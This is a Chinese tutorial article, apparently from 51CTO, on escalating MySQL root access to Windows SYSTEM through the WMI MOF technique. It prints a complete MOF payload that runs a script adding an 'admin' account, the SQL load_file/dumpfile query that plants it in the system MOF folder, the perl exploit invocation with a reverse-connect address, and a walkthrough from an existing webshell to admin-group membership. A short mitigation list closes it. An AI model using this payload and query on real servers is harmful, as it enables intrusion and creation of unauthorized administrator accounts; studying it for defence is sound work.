技術干貨:MySQL數據庫Root權限MOF方法提權研究
原創【51CTO.com原創稿件】MySQL Root權限MOF方法提權是來自國外Kingcope大牛發布的MySQL Scanner & MySQL Server for Windows Remote SYSTEM Level Exploit(https://www.exploit-db.com/exploits/23083/),簡稱mysql遠程提權0day(MySQL Windows Remote System Level Exploit (Stuxnet technique) 0day)。Windows 管理規范 (WMI) 提供了以下三種方法編譯到 WMI 存儲庫的托管對象格式 (MOF) 文件:
方法1:運行 MOF 文件指定為命令行參數將 Mofcomp.exe 文件。
方法2:使用 IMofCompiler 接口和 $ CompileFile 方法。
方法3:拖放到 %SystemRoot%\System32\Wbem\MOF 文件夾的 MOF 文件。
Microsoft 建議您到存儲庫編譯 MOF 文件使用前兩種方法。也就是運行 Mofcomp.exe 文件,或使用 IMofCompiler::CompileFile 方法。第三種方法僅為向后兼容性與早期版本的 WMI 提供,并因為此功能可能不會提供在將來的版本后,不應使用。注意使用MOF方法提權的前提是當前Root帳號可以復制文件到%SystemRoot%\System32\Wbem\MOF目錄下,否則會失敗!
001漏洞利用方法分析
該漏洞的利用前提條件是必須具備mysql的root權限,在Kingcope公布的0day中公布了一個pl利用腳本。
perl mysql_win_remote.pl 192.168.2.100 root "" 192.168.2.150 5555
192.168.2.100為mysql數據庫所在服務器,mysql口令為空,反彈到192.168.2.150的5555端口上。
1.生成nullevt.mof文件
將以下代碼保存為nullevt.mof文件:
- #pragma namespace("\\\\.\\root\\subscription")
- instance of __EventFilter as $EventFilter
- {
- EventNamespace = "Root\\Cimv2";
- Name = "filtP2";
- Query = "Select * From __InstanceModificationEvent "
- "Where TargetInstance Isa \"Win32_LocalTime\" "
- "And TargetInstance.Second = 5";
- QueryLanguage = "WQL";
- };
- instance of ActiveScriptEventConsumer as $Consumer
- {
- Name = "consPCSV2";
- ScriptingEngine = "JScript";
- ScriptText =
- "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add")";
- };
- instance of __FilterToConsumerBinding
- {
- Consumer = $Consumer;
- Filter = $EventFilter;
- };
2.通過Mysql查詢將文件導入
執行以下查詢語句,將上面生成的nullevt.mof導入到c:\windows\system32\wbem\mof\目錄下在windows7中默認是拒絕訪問的。導入后系統會自動運行,執行命令。
- select load_file('C:\\RECYCLER\\nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';
002實戰利用
1.實驗環境
本次實驗環境為Windows2003+Apache+PHP,已經擁有Webshell權限。
2.上傳文件到可寫目錄
將nullevt.mof文件上傳到服務器可寫目錄,例如C:\RECYCLER\,如圖5-4所示。
上傳文件nullevt.mof
3.執行命令
配置好中國菜刀,然后通過數據庫管理,執行查詢命令,在執行查詢命令前需要先選擇一下數據庫,然后將以下代碼復制到查詢語句輸入框中,如圖5-5所示。
select load_file('C:\\RECYCLER\\nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';
執行查詢命令
4.查看執行結果
執行完畢后需要修改添加用戶命令為將用戶添加到管理員組,即“net.exe localgroup administrators admin/add\”,再次上傳并查詢,如圖5-6所示,通過net user查看,果然admin已被添加到系統中。
添加用戶成功
003防范方法
Mysql Root權限MOF方法提權其前提條件是能夠將上傳的nullevt.mof復制到系統目錄下,例如c:\windows\system32\wbem\mof中,如果無法復制則會提權失敗。一般對Windows2003以下操作系統效果較好,Windows2008以上由于保護機制,較少能夠成功。因此可以采取以下措施進行防范:
1.在程序數據庫連接文件中盡量不要使用Root帳號進行連接。
2.Root帳號使用強加密方式,采用字母大小寫+數字+特殊字符,密碼位數15位以上。
3.對Mysql數據庫的mysql數據庫目錄權限嚴格限制,IIS用戶無法讀寫該文件。
4. 操作系統目錄c:\windows\system32\wbem禁止寫入。
【51CTO原創稿件,合作站點轉載請注明原文作者和出處為51CTO.com】